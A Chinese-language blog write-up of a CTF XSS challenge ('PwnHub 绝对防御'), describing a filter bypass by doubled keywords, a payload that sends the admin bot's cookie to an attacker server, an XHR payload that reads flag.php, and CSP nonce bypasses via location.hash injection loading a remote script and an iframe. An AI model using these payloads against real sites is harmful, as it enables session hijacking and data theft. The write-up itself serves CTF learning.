HeartSky's blog


在渗透之路上渐行渐远


PwnHub 绝对防御 writeup

一道土师傅出的 xss 的题,因为一些细节没理解,没做出来,不过还是学到了挺多知识的。

打开页面,是一个留言板,有注册和登录功能,因为已经说了有 bot ,就不考虑 sql 注入的问题了。随便注册个账号登录进去可以发现是一个留言的功能,给自己留言得到 script on 会被替换为空,可以双写绕过,根据题目的说明

1
2
admin 刚刚完成了聊天版,会经常和大家聊天。
http://52.80.63.91/

应该是要先打下管理员的 cookie
看下 csp

1
default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline';

可以执行 script 标签,发送下面的信息得到管理员 cookie

1
<scrscriptipt>locatioonn.href="http://xxx?cookie="+document.cookie</scrscriptipt>

(后来才发现我们的 cookie 都是 httponly,但是 bot 不是
xxx 是你的服务器或者 xss 平台地址
更改 cookie 登录管理员账号得到下面的信息

1
Wow, good guys,maybe you want /adminshigesha233e3333#admin

手动访问了下,得到

1
Hello,admin maybe something in flag.php

再去访问 flag.php

1
hello, hacker, only admin can see it

那么就要管理员请求才可以喽,用下面的 payload 让 admin 请求 flag.php

1
2
3
4
5
6
7
8
9
10
11
12
<scrscriptipt>
var xhr = new XMLHttpRequest();
xhr.open("GET", 'http://52.80.63.91/adminshigesha233e3333/flag.php', true);
xhr.oonnreadystatechange = functioonn()
{
if(xhr.readyState == 4)
{
var text = xhr.respoonnseText;
document.locatioonn = "http://xxx?a=text";
}
xhr.send();
</scrscriptipt>

得到下面的内容

1
nothing here,╮(╯-╰)╭,what ever you try, only from adminshigesha233e3333 can read it...

一开始以为要设置 referer 头,用 xhr 的 setRequestHeader 设置但是没用
想到#后面的 admin,感觉有点奇怪,去看了下源码

1
<script nonce='MO0VrFHgESrb'>document.write('Hello,' + unescape(location.hash.substring(1)) + '\r\n maybe something in flag.php')</script><script nonce='MO0VrFHgESrb'>console.log('bad boy!!')</script>

可以看到是获取了#后面的值,并用 document.write 输出了出来,因为代码是在一行的,所以有了第一种方式

1
http://52.80.63.91/adminshigesha233e3333/#<script src=http://xxx/hack.js

这样就构造出了

1
<script src="http://xxx/hack.js" maybe="" something="" in="" flag.php<script="" nonce="A7Vlkv32ZI2g">console.log('bad boy!!')</script>

这样的形式,吃掉了 script 开始的标签,这样就绕过了 nonce 的限制
然后还有第二种方式,也是最简单的一种方式,看下admin目录下的 csp

1
default-src 'self'; script-src 'nonce-A7Vlkv32ZI2g';

可以构造一个 iframe 标签,这样就不用跨域了,可以直接读到 flag 的内容
payload

1
http://52.80.63.91/adminshigesha233e3333/#<iframe src="./flag.php"> "

最后也是最正确的解法是利用浏览器的缓存,我们可以在 csp 头中看到 script-src 只有 nonce 值符合才会允许执行,但是浏览器每次刷新 nonce 值都会变化,当时就想的是请求一次获取 nonce 值后,下次再访问不就变了吗,一直百思不得其解,怎么通过构造 nonce 值做出来,直到看到官方 wp,才知道是利用了浏览器的缓存机制,所以 csp 头一段时间(30s)内不会变,所以就可以通过构造 nonce 值的 script 标签执行 js 了。

最后,无论是哪种方式,因为 admin 目录页面是禁止发跨域请求的,要想得到它的输出,可以通过留言的方式,找到了 /api/addmessage.php,用 xhr 发送请求就可以了